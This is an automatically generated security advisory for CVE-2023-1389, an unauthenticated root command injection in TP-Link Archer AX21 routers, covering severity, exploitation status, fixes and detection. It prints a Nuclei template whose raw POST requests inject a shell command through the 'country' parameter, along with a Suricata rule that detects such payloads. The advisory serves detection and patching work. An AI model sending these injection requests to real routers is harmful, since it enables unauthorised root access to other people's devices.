CVE-2023-1389: TP-Link Archer AX21 exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 contained a command injection vulnerability in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface. Specifically, the country parameter of the write operation was not sanitized before being used in a call to popen(), allowing an unauthenticated attacker to inject commands, which would be run as root, with a simple POST request.

Description quoted from the CVE record (assigned by tenable, published 2023-03-15).

Weakness: CWE-77 Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

How it can be exploited

Exploitable from an adjacent network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2023-05-01
US federal deadline: 2023-05-22
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Exploit-DB entry, 1 Nuclei template, 10 code repositories and 2 research write-ups naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 21 references on Exploit Observer

Live scores

EPSS: 1.000
very likely to be attacked soon
VEDAS: 0.989
strong exploit evidence
On CISA KEV: Yes, since 2023-05-01
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
TP-Link Archer AX21 (AX1800)	version All versions prior to version 1.14 Build 20230219	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply updates per vendor instructions.

Vendor guidance:

How to detect it

Nuclei template (active check)

Tplink - Command Injection
TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 contained a command injection vulnerability in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface. Specifically, the country parameter of the write operation was not sanitized before being used in a call to popen(), allowing an unauthenticated attacker to inject commands, which would be run as root, with a simple POST request.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /cgi-bin/luci/;stok=/locale?form=country, POST /cgi-bin/luci/;stok=/locale?form=country); it decides using regex, status matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2023-1389.yaml

Show the template (49 lines)

yaml

id: CVE-2023-1389

info:
  name: "Tplink - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 contained a command injection
    vulnerability in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface.
    Specifically, the country parameter of the write operation was not sanitized before being used in a call to
    popen(), allowing an unauthenticated attacker to inject commands, which would be run as root, with a simple
    POST request.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2023-1389&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=tplink&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1389
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2023,tp-link,archer,ax21,rce,router,kev,vkev,vuln,tplink
http:
  - raw:
      - |
        POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        operation=write&country=$(id)

      - |
        POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        operation=write&country=$(id)

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: status
        status:
          - 200

CVE-2023-1389.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2023-1389 Tplink - Command Injection. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2023-1389 Tplink - Command Injection"; flow:established,to_server; http.uri; content:"cgi-bin"; nocase; http.request_body; content:"$("; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2023-1389; reference:url,https://www.exploit.observer/?keyword=CVE-2023-1389&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=tplink&match=exact; sid:1009873; rev:1;)

CVE-2023-1389.rules on GitHub

Advisories on this CVE

“ClingSTUN” Linux backdoor turns IoT devices into proxy nodes and hides its C2 inside public STUN traffic (full advisory)

References

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-1389 (government-resource)

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.